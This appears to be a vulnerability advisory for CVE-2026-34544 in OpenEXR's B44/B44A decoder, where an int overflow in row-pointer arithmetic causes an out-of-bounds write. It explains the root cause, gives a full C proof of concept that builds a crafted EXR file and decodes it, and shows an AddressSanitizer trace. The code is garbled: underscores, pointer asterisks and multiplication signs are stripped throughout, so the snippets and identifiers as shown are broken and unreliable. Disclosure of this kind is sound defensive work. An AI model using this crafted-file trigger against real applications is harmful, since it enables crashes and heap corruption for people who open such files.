CVE-2026-34544: OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Published Apr 1, 2026
·
Updated

Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause Variable declarations (internalb44.c:535) c int nx, ny; nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32t.

Scratch buffer allocation (internalb44:543) c nBytes = (uint64t) (ny) (uint64t) (nx) (uint64t) (curc->bytesperelement); The allocation path correctly promotes to uint64t before multiplying. The scratch buffer is always large enough to hold the full channel.

Row pointer reconstruction (internalb44:560) c row0 = (uint16t) scratch; row0 += y nx; row1 = row0 + nx; row2 = row1 + nx; row3 = row2 + nx; y and nx are both int. The product y nx is computed in int. If this product exceeds INTMAX (2,147,483,647), the result is signed integer overflow

Out of Band write (internalb44:592) c memcpy (row0, &s[0], n); memcpy (row1, &s[4], n); memcpy (row2, &s[8], n); memcpy (row3, &s[12], n); These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. poc.cpp #include <openexr.h> #include <inttypes.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h>

#define CHECK(call) do { exrresultt rv = (call); if (rv != EXRERRSUCCESS) { fprintf(stderr, "%s failed (%d)\n", #call, (int)rv); goto fail; } } while (0)

static void fillblocks(uint8t out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }

int main(void) { const int64t W = 268435456; const int64t H = 9; const char path = "/tmp/pocb44.exr";

const uint64t blocks = (uint64t)(W / 4) 2 + 1; const uint64t psz = blocks 3;

uint8t packed = (uint8t) malloc(psz); exrcontextt ctxt = NULL; exrcontextinitializert cinit = EXRDEFAULTCONTEXTINITIALIZER; int part = -1; exrchunkinfot cinfo; exrdecodepipelinet dec = EXRDECODEPIPELINEINITIALIZER; uint16t dummy = 0; int ok = 0;

if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; } fillblocks(packed, blocks);

CHECK(exrstartwrite(&ctxt, path, EXRWRITEFILEDIRECTLY, &cinit)); CHECK(exraddpart(ctxt, "scan", EXRSTORAGESCANLINE, &part)); CHECK(exrinitializerequiredattrsimple( ctxt, part, (int32t)W, (int32t)H, EXRCOMPRESSIONB44)); CHECK(exraddchannel(ctxt, part, "Y", EXRPIXELHALF, EXRPERCEPTUALLYLOGARITHMIC, 1, 1)); CHECK(exrwriteheader(ctxt)); CHECK(exrwritescanlinechunk(ctxt, part, 0, packed, psz)); exrfinish(&ctxt); ctxt = NULL;

fprintf(stderr, "[] wrote %s W=%"PRId64" H=%"PRId64 " packed=%"PRIu64" bytes\n", path, W, H, psz);

CHECK(exrstartread(&ctxt, path, &cinit)); CHECK(exrreadscanlinechunkinfo(ctxt, 0, 0, &cinfo)); CHECK(exrdecodinginitialize(ctxt, 0, &cinfo, &dec));

dec.channels[0].decodetoptr = (uint8t)&dummy; dec.channels[0].userpixelstride = 2; dec.channels[0].userlinestride = dec.channels[0].width 2; dec.channels[0].userbytesperelement = 2; dec.channels[0].userdatatype = dec.channels[0].datatype;

CHECK(exrdecodingchoosedefaultroutines(ctxt, 0, &dec)); dec.unpackandconvertfn = NULL;

fprintf(stderr, "[] calling exrdecodingrun()h\n"); fflush(stderr);

CHECK(exrdecodingrun(ctxt, 0, &dec)); ok = 1;

fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exrfinish(&ctxt); } free(packed); return ok ? 0 : 1; } ASAN Trace openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecodingrun decoding.c:580 #5 in main poc.c:83

================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internalb44.c:599

Impact A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

Other sources

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From version 3.4.0 to before version 3.4.8, a crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent). This issue has been patched in version 3.4.8.

MITRE

Affected Software

6 affected componentsFixes available
pip/openexr>=3.2.0<=3.2.6
pip/openexr>=3.3.0<=3.3.8
pip/openexr>=3.4.0<=3.4.7
3.4.8
OpenEXR OpenEXR>=3.2.0<3.2.7
OpenEXR OpenEXR>=3.3.0<3.3.9
OpenEXR OpenEXR>=3.4.0<3.4.8

Event History

Apr 1, 2026
CVE Published
via MITRE·08:55 PM
Data Sourced
via MITRE·08:55 PM
DescriptionWeakness
Data Sourced
via NVD·09:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Apr 3, 2026
Advisory Published
via GitHub·09:47 PM
Data Sourced
via GitHub·09:47 PM
DescriptionWeaknessAffected Software

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